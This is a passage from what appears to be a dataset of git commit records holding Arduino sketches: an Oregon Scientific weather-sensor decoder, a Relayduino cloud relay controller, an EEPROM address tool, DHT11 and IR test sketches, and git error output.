nibble\n }\n nosBits++;\n \/\/Pack the bits into 8bit bytes\n if (nosBits == 8) {\n nosBits = 0;\n nosBytes++;\n manchester[nosBytes] = 0; \/\/next byte to 0 to accumulate data\n }\n \/\/Check the bytes for a valid packet once maxBytes received\n if (nosBytes == maxBytes) {\n \/\/hexBinDump();\n digitalWrite(ledPin, 1);\n \/\/Check Checksum first\n if (ValidCS(csIndex)) {\n \/\/Process the byte array into Human readable numbers\n analyseData();\n }\n noErrors = false; \/\/make it begin again from the start\n }\n }\n}\n\n\/\/Useful to invoke to debug the byte Array\nvoid hexBinDump() {\n \/\/Serial.println(\"T A3 10100011 07 00000111 02 00000010 AA 10101010 F0 11110000 06 00000110 FF 11111111 07 00000111 33 00110011 60 01100000\");\n Serial.print(\"D \");\n for ( int i = 0; i < maxBytes; i++) {\n byte mask = B10000000;\n if (manchester[i] < 16) {\n Serial.print(\"0\");\n }\n Serial.print(manchester[i], HEX);\n Serial.print(\" \");\n for (int k = 0; k < 8; k++) {\n if (manchester[i] & mask) {\n Serial.print(\"1\");\n }\n else {\n Serial.print(\"0\");\n }\n mask = mask >> 1;\n }\n Serial.print(\" \");\n }\n Serial.println();\n}\n\n\/\/Support Routines for Nybbles and CheckSum\n\n\/\/ http:\/\/www.lostbyte.com\/Arduino-OSV3\/ (9) brian@lostbyte.com\n\/\/ Directly lifted, then modified from Brian's work. Now nybble's bits are pre-processed into standard order, ie MSNybble + LSNybble\n\/\/ CS = the sum of nybbles, 1 to (CSpos-1), then compared to CSpos nybble (LSNybble) and CSpos+1 nybble (MSNybble);\n\/\/ This sums the nybbles in the packet and creates a 1 byte number, and this is compared to the two nybbles beginning at CSpos\n\/\/ Note that Temp 9 bytes and anemometer 10 bytes, but rainfall uses 11 bytes per packet. (NB Rainfall CS spans a byte boundary)\nbool ValidCS(int CSPos) {\n boolean ok = false;\n byte cs = 0;\n for (int x = 1; x < CSPos; x++) {\n byte test = nyb(x);\n cs += test;\n }\n \/\/do it by nybbles as some CS's cross the byte boundaries eg rainfall\n byte check1 = nyb(CSPos);\n byte check2 = nyb(CSPos + 1);\n byte check = (check2 << 4) + check1;\n \/*\n if (manchester[0]==0xA2){\n Serial.print(check1,HEX); \/\/dump out the LSNybble Checksum\n Serial.print(\"(LSB), \");\n Serial.print(check2,HEX); \/\/dump out the MSNybble Checksum\n Serial.print(\"(MSB), \");\n Serial.print(check,HEX); \/\/dump out the Rx'ed predicted byte Checksum\n Serial.print(\"(combined), calculated = \");\n Serial.println(cs,HEX); \/\/dump out the calculated byte Checksum\n \/\/Serial.print(\" \"); \/\/Space it out for the next printout\n }\n *\/\n if (cs == check) {\n ok = true;\n }\n return ok;\n}\n\/\/ Get a nybble from manchester bytes, short name so equations elsewhere are neater :-)\n\/\/ Enables the byte array to be indexed as an array of nybbles\nbyte nyb(int nybble) {\n int bite = nybble \/ 2; \/\/DIV 2, find the byte\n int nybb = nybble % 2; \/\/MOD 2 0=MSB 1=LSB\n byte b = manchester[bite];\n if (nybb == 0) {\n b = (byte)((byte)(b) >> 4);\n }\n else {\n b = (byte)((byte)(b) & (byte)(0xf));\n }\n return b;\n}\n\n\/\/enable debug dumps if formatted data required\nvoid analyseData() {\n if (manchester[0] == 0xaf) { \/\/detected the Thermometer and Hygrometer (every 53seconds)\n scan = scan | 1;\n logTemp = 0; \/\/reset missing reads to zero\n thermom();\n \/\/dumpThermom();\n digitalWrite(RedPin, 0); \/\/Temperature is Red\n digitalWrite(GrePin, 1);\n digitalWrite(BluPin, 1);\n\n }\n if (manchester[0] == 0xa1) { \/\/detected the Anemometer and Wind Direction (every 14seconds)\n scan = scan | 2;\n logWind = 0;\/\/reset missing reads to zero\n anemom();\n \/\/dumpAnemom();\n digitalWrite(RedPin, 1);\n digitalWrite(GrePin, 0); \/\/Wind is Green\n digitalWrite(BluPin, 1);\n }\n if (manchester[0] == 0xa2) { \/\/detected the Rain Gauge (every 47seconds)\n scan = scan | 4;\n logRain = 0;\/\/reset missing reads to zero\n rain();\n \/\/dumpRain();\n digitalWrite(RedPin, 1);\n digitalWrite(GrePin, 1);\n digitalWrite(BluPin, 0); \/\/Rain is Blue\n }\n if (manchester[0] == 0xa3) { \/\/detected an original Sensor designed by Us every 45 seconds!!!\n \/\/totally experimental\n scan = scan | 8;\n logExp=0;\/\/reset missing reads to zero\n totExp();\n \/\/dumpExp();\n \/\/This code is not used by the three sensors in the WMR86 product. It may clash with other\n \/\/other OS Sensors and a different value chosen in the Tx and then Rx\n digitalWrite(RedPin, 0);\n digitalWrite(GrePin, 1);\n digitalWrite(BluPin, 0); \/\/Experimental is Purple!!! or Magenta???\n\n }\n \/\/Serial.println(scan,DEC);\n\n}\n\n\/\/Calculation Routines\n\/*The following bit has been identified by Xander Zimmerman as a 'battery low' indicator\n He used a variable voltage power supply to test signals from rainfall, temp\/hum and anemometer eg\n - no more messages: < 2.1 V\n - switch to low < 2.6 V\n - only 1 Bit used: Byte 4; Bit 6: high => Bat low (Nyb8, Bit 2)\n This aligns with the nybble I suspected contained the Battery level indicator\n However it does not tally with my experiments. However I used resistors to lower the voltage to the sensor,\n rather than a precise and steady voltage. I am inclined to accept Xander's opinion here but reluctant\n to change my present strategy of notification if the sensor is not detected at all for 20 minutes.\n This strategy allows for instant collapse of the sensor whether it be low batteries, or the cold, or phyiscal damage\n or the transmitter suddenly being shielded or a lightning strike or any other quick demise. The Oregon LCD base console\n does not have icons that signal a low battery, or the absence of a signal. So if the \"low battery\" transmissions are\n missed then the sensor can drop out before action is taken.\n In the case of some batteries, I have them go \"low\" overnight when it has been very cold only to act normal again the next\n day as the air temperature rose. Some sort of flag system in the server code would need to capture and reain that status.\n However I am sure if you see value in using the \"battery low\" bit, then it will be easy enough to incorporate.\n Xander is also a fan of http:\/\/www.openhab.org\/ for organising his home systems and also https:\/\/github.com\/wfrog\/wfrog\n for rendering the Oregon information into graphs etc.\n*\/\n\n\/* PCR800 Rain Gauge Sample Data:\n \/\/ 0 1 2 3 4 5 6 7 8 9 A\n \/\/ A2 91 40 50 93 39 33 31 10 08 02\n \/\/ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5\n \/\/ 10100010 10010001 01000000 01010000 10010011 00111001 00110011 00110001 00010000 00001000 00000010\n \/\/ -------- ------- bbbb--- RRRRRRRR 88889999 AAAABBBB CCCCDDDD EEEEFFFF 00001111 2222CCCC cccc\n\n \/\/ byte(0)_byte(1) = Sensor ID?????\n \/\/ bbbb = Battery indicator??? (7) My investigations on the anemometer would disagree here. (However check above for Xander's contribution).\n \/\/ After exhaustive low battery tests these bbbb bits did not change\n \/\/ RRRRRRRR = Rolling Code Byte\n \/\/ 222211110000.FFFFEEEEDDDD = Total Rain Fall (inches)\n \/\/ CCCCBBBB.AAAA99998888 = Current Rain Rate (inches per hour)\n \/\/ ccccCCCC = 1 byte Checksum cf. sum of nybbles\n \/\/ Message length is 20 nybbles so working in inches\n Three tips caused the following\n 1 tip=0.04 inches or 1.1mm (observed off the LCD)\n My experiment\n Personally I don't like this value. I think mult by 25 and divide by 1000 IS closer to return mm directly.\n 0.127mm per tip??? It looks close the above. Again can't vouch 100% for this, any rigorous assistance would be appreciated.\n Over the last 6 months this has proved to be Ok\n *\/\nvoid rain() {\n rainTotal = float(((nyb(18) * 100000) + (nyb(17) * 10000) + (nyb(16) * 1000) + (nyb(15) * 100) + (nyb(14) * 10) + nyb(13)) * 25) \/ 1000.0;\n \/\/Serial.println((nyb(18)*100000)+(nyb(17)*10000)+(nyb(16)*1000)+(nyb(15)*100)+(nyb(14)*10)+nyb(13),DEC);\n rainRate = float(((nyb(8) * 10000) + (nyb(9) * 1000) + (nyb(10) * 100) + (nyb(11) * 10) + nyb(12)) * 25) \/ 1000.0;\n \/\/Serial.println((nyb(8)*10000)+(nyb(9)*1000)+(nyb(10)*100)+(nyb(11)*10)+nyb(12),DEC);\n}\nvoid dumpRain() {\n Serial.print(\"Total Rain \");\n Serial.print(rainTotal);\n Serial.print(\" mm, \");\n Serial.print(\"Rain Rate \");\n Serial.print(rainRate);\n Serial.println(\" mm\/hr \");\n}\n\n\/\/ WGR800 Wind speed sensor\n\/\/ Sample Data:\n\/\/ 0 1 2 3 4 5 6 7 8 9\n\/\/ A1 98 40 8E 00 0C 70 04 00 34\n\/\/ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3\n\/\/ 10100001 10011000 01000000 10001110 00000000 00001100 01110000 00000100 00000000 00110100\n\/\/ -------- -------- bbbb---- NRRRRRRR xxxx9999 xxxxxxxx CCCCDDDD xxxxFFFF 0000---- CCCCcccc\n\/\/ Av Speed 0.4000000000m\/s Gusts 0.7000000000m\/s Direction: N\n\n\/\/ byte(0)_byte(1) = Sensor ID?????\n\/\/ bbbb = Battery indicator??? (7) My investigations would disagree here. After exhaustive low battery tests these bits did not change\n\/\/ NRRRRRRR = Rolling Code Byte, the N bit is set to 1 for 64 cycles to indicate it is reset or new to the Rx box\n\/\/ 9999 = Direction\n\/\/ DDDD.CCCC = Gust Speed (m per sec)\n\/\/ 0000.FFFF = Avg Speed(m per sec)\n\/\/ multiply by 3600\/1000 for km\/hr\n\/\/ ccccCCCC = 1 byte checksum cf. sum of nybbles\n\/\/ packet length is 20 nybbles\n\nvoid anemom() {\n \/\/D A1 98 40 8E 08 0C 60 04 00 A4\n avWindspeed = ((nyb(16) * 10) + nyb(15)) * 3.6 \/ 10;\n double gust = ((nyb(13) * 10) + nyb(12)) * 3.6 \/ 10;\n \/\/ after every minute, reset gustWindspeed to avWindspeed and then take the highest gust after that (approx4 readings a minute)\n if (gust > gustWindspeed) {\n gustWindspeed = gust;\n }\n quadrant = nyb(9) & 0xF;\n}\nvoid dumpAnemom() {\n Serial.print(\"Av Speed \");\n Serial.print(avWindspeed);\n Serial.print(\" km\/hr, Gusts \");\n Serial.print(gustWindspeed);\n Serial.print(\" km\/hr, Direction: \");\n Serial.print(quadrant);\n Serial.print(\" -> \");\n Serial.println(windDir[quadrant]);\n}\n\n\/\/ THGN800 Temperature and Humidity Sensor\n\/\/ 0 1 2 3 4 5 6 7 8 9 Bytes\n\/\/ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 nybbles\n\/\/ 01011111 00010100 01000001 01000000 10001100 10000000 00001100 10100000 10110100 01111001 Bits\n\/\/ -------- -------- bbbbcccc RRRRRRRR 88889999 AAAABBBB SSSSDDDD EEEE---- CCCCcccc -------- Explanation\n\/\/ byte(0)_byte(1) = Sensor ID?????\n\/\/ bbbb = Battery indicator??? (7), My investigations on the anemometer would disagree here. After exhaustive low battery tests these bits did not change\n\/\/ RRRRRRRR = Rolling code byte\n\/\/ nybble(5) is channel selector c (Switch on the sensor to allocate it a number)\n\/\/ BBBBAAAA.99998888 Temperature in BCD\n\/\/ SSSS sign for negative (- is !=0)\n\/\/ EEEEDDDD Humidity in BCD\n\/\/ ccccCCCC 1 byte checksum cf. sum of nybbles\n\/\/ Packet length is 18 nybbles and indeterminate after that\n\/\/ H 00 01 02 03 04 05 06 07 08 09 Byte Sequence\n\/\/ D AF 82 41 CB 89 42 00 48 85 55 Real example\n\/\/ Temperature 24.9799995422 degC Humidity 40.0000000000 % rel\nvoid thermom() {\n temperature = (double)((nyb(11) * 100) + (nyb(10) * 10) + nyb(9)) \/ 10; \/\/accuracy to 0.1 degree seems unlikely\n if (nyb(12) == 1) { \/\/ Trigger a negative temperature\n temperature = -1.0 * temperature;\n }\n humidity = (nyb(14) * 10) + nyb(13);\n}\nvoid dumpThermom() {\n Serial.print(\"Temperature \");\n Serial.print(temperature);\n Serial.print(\" degC, Humidity \");\n Serial.print(humidity);\n Serial.println(\"% Rel\");\n}\n\/\/The novel added extra sensors, extracting and applying any necessary conversions\nvoid totExp() {\n \/\/No complicated conversions required here\n intSolar = byte(manchester[2]); \/\/EG To apply a Solar Cell to the input?\n intLightning = byte(manchester[3]); \/\/EG Lightning Strikes\n intUV = byte(manchester[4]); \/\/Eg UV Light Levels\n}\n\nvoid dumpExp() {\n Serial.print(\"Solar Power =\");\n Serial.println(intSolar, DEC);\n Serial.print(\"Lightning Strikes =\");\n Serial.println(intLightning, DEC);\n Serial.print(\"Light Intensity\");\n Serial.print(intUV, DEC);\n}\n\n\/\/ Formating routine for interface to host computer, output once a minute once all three sesnors have been detected\nvoid usbData() {\n \/\/ Stn Id, Packet Type, Wind Quadrant, Wind Speed, Rain Tips, Ext temp, Int Temp, Int Pressure, Int Humidity\n intHumi = (double)dht.readHumidity(); \/\/DHT22 readings %Humidity\n intTemp = (double)bmp.readTemperature(); \/\/internal temperature\n intPres = (double)bmp.readPressure() \/ 100.0; \/\/Pa reduced to mBar\n \/\/leave this check at 7 until the other readings are stabilized\n if ((scan&7)==7) { \/\/scan==15 means all 4 readings now have a valid value, ready for output on Serial\n \/\/Battery\/Signal status, OR in the the four status values for the signal connections.\n logTemp++;\n if (logTemp>40){\n batStat = batStat | 1;\n }\n logWind++;\n if (logWind>40){\n batStat = batStat | 2;\n }\n logRain++;\n if (logRain>40){\n batStat = batStat | 4;\n }\n logExp++;\n if (logExp>40){\n batStat = batStat | 8;\n }\n \/\/reset the batStat to 0 every 24hours\n aday++;\n if (aday>1440){\n batStat=0;\n aday=0;\n }\n \/\/ Order: Battery Status, Quadrant, Wind Gust, Rainfall, Temperature, InternalTemp, Internal Pressure, Int Humidity, Solar Power, Lightning, UV Radiation\n Serial.print(batStat,DEC); \/\/Send out the number to indicate if a sensor is not transmitting for maore than 20 mins. Low Battery or other damage.\n Serial.print(\",\");\n Serial.print(quadrant); \/\/0-15 in 22.5 degrees steps clockwise\n Serial.print(\",\");\n Serial.print(gustWindspeed, 1); \/\/Gust windspeed km\/hr, not average windspeed (graphing over 10 samples gives Average)\n Serial.print(\",\");\n gustWindspeed = avWindspeed; \/\/reset gust to average, then take the larger next reading\n Serial.print(rainTotal, 1); \/\/currently considered to checked for a good calibration to mm\n Serial.print(\",\");\n Serial.print(temperature, 2); \/\/ OS Temperature Centigrade\n Serial.print(\",\");\n Serial.print(intTemp, 2); \/\/BMP085 temperature (used for compensation reading) Centigrade\n Serial.print(\",\");\n Serial.print(intPres, 2); \/\/BMP085 pressure reading milli-bars\n Serial.print(\",\");\n Serial.print(intHumi); \/\/Digital DHT22 seems better than the OS in Temp\/Hum sensor % relative\n Serial.print(\",\");\n Serial.print(intSolar,DEC); \/\/A reading from experimental Solar Power sensor\n Serial.print(\",\");\n Serial.print(intLightning,DEC); \/\/A reading from the nos of Lightning Strikes\n Serial.print(\",\");\n Serial.print(intUV, DEC); \/\/UV Sensor\n Serial.println();\n \n \/\/Indicate the transmission of this one second data with a white light set up R+B+G!!\n digitalWrite(RedPin, 0); \/\/White, all colours on, data has been logged to the Server\n digitalWrite(GrePin, 0);\n digitalWrite(BluPin, 0);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MainWeather_07\/MainWeather_07.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3e21621f47603c391f82f544cb9d3bdd1d853c8d","subject":"Added Relayduino Example","message":"Added Relayduino Example\n","repos":"exosite-garage\/arduino_exosite_library","old_file":"examples\/relayduino\/relayduino.ino","new_file":"examples\/relayduino\/relayduino.ino","new_contents":"\/\/*****************************************************************************\n\/\/\n\/\/ relayduino.ino - Controling the Relayduino from the Cloud with Exosite\n\/\/\n\/\/ Copyright (c) 2012 Exosite LLC. All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without \n\/\/ modification, are permitted provided that the following conditions are met:\n\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright \n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Exosite LLC nor the names of its contributors may\n\/\/ be used to endorse or promote products derived from this software \n\/\/ without specific prior written permission.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITH ALL FAULTS.\n\/\/ NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT\n\/\/ NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY\n\/\/ CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL\n\/\/ DAMAGES, FOR ANY REASON WHATSOEVER.\n\/\/\n\/\/*****************************************************************************\n\n\/******************************* USER SETTINGS *******************************\/\n\/\/ Fill in your MAC here! (e.g. {0x90, 0xA2, 0xDA, 0x00, 0x22, 0x33}) \nbyte macData[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; \n\n\/\/Fill in your CIK here! (https:\/\/portals.exosite.com -> Add Device)\nchar cikData[] = \"0000000000000000000000000000000000000000\"; \n\n\/\/ Set the maximum interval we should read and write to Exosite.\nunsigned long loop_interval_ms = 10000; \/\/ milliseconds\n\n\/*****************************************************************************\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <Exosite.h>\n\n\/\/ Pin Definitions\n#define ANIN1 6 \/\/ Analog 1 is connected to Arduino Analog In 6\n#define ANIN2 7 \/\/ Analog 2 is connected to Arduino Analog In 7\n#define ANIN3 0 \/\/ Analog 3 is connected to Arduino Analog In 0\nconst int Analogs[3] = {ANIN1, ANIN2, ANIN3};\nconst char* Analog_Aliases[3] = {\"ANIN1\", \"ANIN2\", \"ANIN3\"};\n\n#define REL1 2 \/\/ Relay 1 is connected to Arduino Digital 2\n#define REL2 3 \/\/ Relay 2 is connected to Arduino Digital 3 PWM\n#define REL3 4 \/\/ Relay 3 is connected to Arduino Digital 4\n#define REL4 5 \/\/ Relay 4 is connected to Arduino Digital 5 PWM\n#define REL5 6 \/\/ Relay 5 is connected to Arduino Digital 6 PWM\n#define REL6 7 \/\/ Relay 6 is connected to Arduino Digital 7\n#define REL7 8 \/\/ Relay 7 is connected to Arduino Digital 8\n#define REL8 9 \/\/ Relay 8 is connected to Arduino Digital 9 PWM\nconst int Relays[8] = {REL1, REL2, REL3, REL4, REL5, REL6, REL7, REL8};\n\/\/const int PWMAble[4] = {2, 4, 5, 8};\nconst char* Relay_Aliases[8] = {\"REL1\", \"REL2\", \"REL3\", \"REL4\", \"REL5\", \"REL6\", \"REL7\", \"REL8\"};\n\n#define OI1 15 \/\/ Opto-Isolated Input 1 is connected to Arduino Analog 1 which is Digital 15\n#define OI2 16 \/\/ Opto-Isolated Input 2 is connected to Arduino Analog 2 which is Digital 16\n#define OI3 17 \/\/ Opto-Isolated Input 3 is connected to Arduino Analog 3 which is Digital 17\n#define OI4 18 \/\/ Opto-Isolated Input 4 is connected to Arduino Analog 4 which is Digital 18\nconst int Optos[4] = {OI1, OI2, OI3, OI4};\nconst char* Opto_Aliases[4] = {\"OI1\", \"OI2\", \"OI3\", \"OI4\"};\n\n\/\/global variables \n\nclass EthernetClient client;\nExosite exosite(cikData, &client);\n\nunsigned long last_millis = 0;\n\nconst char* readString = \"REL1&REL2&REL3&REL4&REL5&REL6&REL7&REL8\";\nString writeString;\nString returnString;\nString tempString;\nint index = 0;\nint lastIndex = -1;\nint pinNumber = 0;\n\n\/*==============================================================================\n * setup\n *\n * Arduino setup function.\n *=============================================================================*\/\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(F(\"Boot\"));\n\n Ethernet.begin(macData);\n delay(1000);\n \n for(int i = 0; i < 8; i++){\n pinMode(Relays[i], OUTPUT);\n }\n}\n\n\/*==============================================================================\n * loop \n *\n * Arduino loop function.\n *=============================================================================*\/\nvoid loop()\n{\n Serial.println(F(\"------Loop Start------\"));\n \n writeString = \"\";\n returnString = \"\";\n index = 0;\n lastIndex = -1;\n \n \/\/ Setup Values to Write\n for(int i = 0; i < 4; i++){\n writeString += String(Opto_Aliases[i]) + \"=\" + digitalRead(Optos[i]) + \"&\";\n }\n for(int i = 0; i < 3; i++){\n writeString += String(Analog_Aliases[i]) + \"=\" + analogRead(Analogs[i]) + \"&\";\n }\n \n Serial.print(F(\"Connecting to Exosite...\"));\n\n if(exosite.readWrite(writeString, readString, returnString)){\n Serial.println(F(\"Success\"));\n for(;;){\n index = returnString.indexOf(\"=\", lastIndex+1);\n if(index != 0){\n tempString = returnString.substring(lastIndex+1, index);\n \n pinNumber = getRelayPin(tempString);\n if(pinNumber == 0){ \/\/Not a Relay Pin Name\n Serial.print(F(\"Unknown Alias:\"));\n Serial.println(tempString);\n continue;\n }\n \n lastIndex = returnString.indexOf(\"&\", index+1);\n \n if(lastIndex != -1){\n tempString = returnString.substring(index+1, lastIndex);\n }else{\n tempString = returnString.substring(index+1);\n }\n \n if(tempString == \"1\"){\n digitalWrite(pinNumber, 1);\n }else if(tempString == \"0\"){\n digitalWrite(pinNumber, 0);\n }else{\n Serial.print(F(\"Unknown Setting: \"));\n Serial.println(tempString);\n }\n \n if(lastIndex == -1)\n break; \n \n }else{\n Serial.println(F(\"No Index\"));\n break;\n }\n }\n }else{\n Serial.println(F(\"Error Communicating with Exosite\"));\n }\n \n Serial.print(\"Next Loop to Start In: \");\n Serial.print((millis() - last_millis + loop_interval_ms)\/1000);\n Serial.println(\" Seconds\");\n\n while(millis() < last_millis + loop_interval_ms){\n if(millis() < last_millis)\n last_millis = millis(); \/\/ millis() overflowed and last_millis didn't.\n \n \/\/Serial.println(millis());\n }\n \n last_millis += loop_interval_ms; \/\/ This is an unsigned long, it should overflow just the same as millis().\n}\n\nint getRelayPin(String name){\n for(int i = 0; i < 8; i++){\n if(name == Relay_Aliases[i])\n return Relays[i];\n }\n \n return 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/relayduino\/relayduino.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"7772103f337b829dfc8ede4a25583157ebfac25d","subject":"Added a method to write an address to EEProm","message":"Added a method to write an address to EEProm\n","repos":"aphelps\/HTML,HMTL\/HMTL,aphelps\/HTML,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HTML,HMTL\/HMTL,HMTL\/HMTL,aphelps\/HMTL,aphelps\/HMTL,aphelps\/HMTL,aphelps\/HTML","old_file":"EEPromTools\/AddressSet\/AddressSet.ino","new_file":"EEPromTools\/AddressSet\/AddressSet.ino","new_contents":"\/*\n * Write out an I2C address if one doesn't already exist\n *\/\n#include <EEPROM.h>\n\n#define PIN_DEBUG_LED 13\n\n#define HMTL_ADDRESS_MAGIC 0x53\n#define HMTL_ADDRESS_START 0x101\n\nbyte my_address = 2; \/\/ This value is written to EEPROM\nboolean wrote_address = false;\n\nvoid setup() \n{\n Serial.begin(9600);\n\n \/\/ Check if there is already an address\n int value = EEPROM.read(HMTL_ADDRESS_START);\n if (value != HMTL_ADDRESS_MAGIC) {\n \/\/ No existing address, write it out\n EEPROM.write(HMTL_ADDRESS_START, HMTL_ADDRESS_MAGIC);\n EEPROM.write(HMTL_ADDRESS_START + 1, my_address);\n wrote_address = true;\n } else {\n \/\/ Read in the pre-existing address\n my_address = EEPROM.read(HMTL_ADDRESS_START + 1);\n }\n \n pinMode(PIN_DEBUG_LED, OUTPUT);\n}\n\n\nvoid loop() \n{\n static long last_update = 0;\n if (millis() - last_update > 1000) {\n Serial.print(\"My address: \");\n Serial.print(my_address);\n Serial.print(\" Was address written: \");\n Serial.println(wrote_address);\n last_update = millis();\n }\n\n blinkValue(my_address, 500, 4);\n delay(10);\n}\n\nvoid blinkValue(int value, int period_ms, int idle_periods) \n{\n static long period_start_ms = 0;\n static long last_step_ms = 0;\n static boolean led_value = true;\n\n long now = millis();\n if (period_start_ms == 0) period_start_ms = now;\n\n if ((now - last_step_ms) > period_ms) {\n int current_step = (now - period_start_ms) \/ period_ms;\n\n if (current_step >= (value * 2 + idle_periods)) {\n \/\/ The end of the current display cycle\n period_start_ms = now;\n } else if (current_step >= value * 2) {\n return;\n }\n\n led_value = !led_value;\n digitalWrite(PIN_DEBUG_LED, led_value);\n\n last_step_ms = now;\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EEPromTools\/AddressSet\/AddressSet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d17b807c866a1742845a9c5e32dc9de5859cd4c9","subject":"Adding DS18x20 sensor capability!","message":"Adding DS18x20 sensor capability!\n","repos":"MitchellJThomas\/medir,MitchellJThomas\/medir,MitchellJThomas\/medir,MitchellJThomas\/medir","old_file":"src\/ds18x20-sensor.ino","new_file":"src\/ds18x20-sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MitchellJThomas\/medir.git\/'\n","license":"epl-1.0","lang":"Arduino"} {"commit":"a6b6afd255fa092e1b355ecf88124cddbe5be12b","subject":"Sketch GSM","message":"Sketch GSM\n\nAdicionado sketch Arduino com suporte ao m\u00f3dulo GSM\n","repos":"alissonlimasilva\/smartbee,alissonlimasilva\/smartbee","old_file":"Arduino sketchs\/gsm\/gsm.ino","new_file":"Arduino sketchs\/gsm\/gsm.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'sketchs\/gsm\/gsm.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d65edd801a11f2dd2a3d7b2dea4c5f660d702579","subject":"ficherillo","message":"ficherillo\n","repos":"josemlp91\/ardufocuser_firmware,josemlp91\/ardufocuser_firmware","old_file":"Ardufocuser\/test\/temperature_dht11_lcd_read\/temperature_dht11_lcd_read.ino","new_file":"Ardufocuser\/test\/temperature_dht11_lcd_read\/temperature_dht11_lcd_read.ino","new_contents":"#include <DHT11.h>\n#include <Wire.h>\n#include <math.h>\n#include <LiquidCrystal_I2C.h>\n\n\n#define TEMPIN 7\n\nDHT11 dht11(TEMPIN);\nLiquidCrystal_I2C lcd(0x27, 16, 2);\n\n\nunsigned long lastTimeUpdate=100;\nfloat temperature;\nfloat humidity;\nint error;\n\nvoid TempController(){\n error=dht11.read(temperature, humidity);\n delay(DHT11_RETRY_DELAY); \n}\n\nvoid LCDController(){\n lcd.clear();\n lcd.print(\"TEMP \");\n lcd.print(temperature);\n lcd.print(\" C\");\n \n lcd.setCursor(0,1);\n lcd.print(\"HUM \");\n lcd.print(humidity);\n}\n\n\nvoid setup() {\n\n Serial.begin(9600);\n lcd.begin();\n lcd.backlight();\n lcd.print(\"RUN!\");\n\n\n}\n\nvoid loop() {\n\n if (millis() > lastTimeUpdate) {\n TempController();\n LCDController();\n lastTimeUpdate = millis() + 100;\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ardufocuser\/test\/temperature_dht11_lcd_read\/temperature_dht11_lcd_read.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"150ef71cb2b6f5f94f280bf087cb3904300fe9a4","subject":"added IR test, for mega, use pin 9","message":"added IR test, for mega, use pin 9\n","repos":"nebgnahz\/HOBS,nebgnahz\/HOBS,nebgnahz\/HOBS","old_file":"test\/IR_test\/IR_test.ino","new_file":"test\/IR_test\/IR_test.ino","new_contents":"\/*\n IR test\n\n Used to test IR functionality.\n\n On Mega, you need to use pin 9\n \n Created 07\/25\/2013\n By benzh@eecs.berkeley.edu\n\n*\/\n\n#include <IRremote.h>\n\n\/\/ An IR LED must be connected to Arduino PWM pin 3.\n\/\/ On Mega, you need to use pin 9\nIRsend irsend;\nint ledPin = 8;\n\nvoid setup()\n{\n Serial.begin(9600);\n delay(100);\n Serial.print(\"system begins!\");\n}\n\nvoid loop() {\n delay(1000);\n unsigned int session_id = random(0xFFFF);\n Serial.print(\"[INIT] Sending IR: \");\n Serial.println(session_id);\n irsend.sendSony(session_id, 16);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/IR_test\/IR_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"71c070b9bf5e4d5d92b0b6541dec231007f494dd","subject":"Adding DNS example sketch.","message":"Adding DNS example sketch.\n","repos":"jeditekunum\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,dansut\/Cosa","old_file":"examples\/Ethernet\/CosaDNS\/CosaDNS.ino","new_file":"examples\/Ethernet\/CosaDNS\/CosaDNS.ino","new_contents":"\/**\n * @file CosaDNS.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * W5100 Ethernet Controller device driver example code; DNS client.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include 